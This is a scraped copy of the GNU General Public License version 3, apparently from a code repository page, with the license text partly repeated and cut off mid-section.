Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.
Noykarde / NoykardeRepositoryGNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this 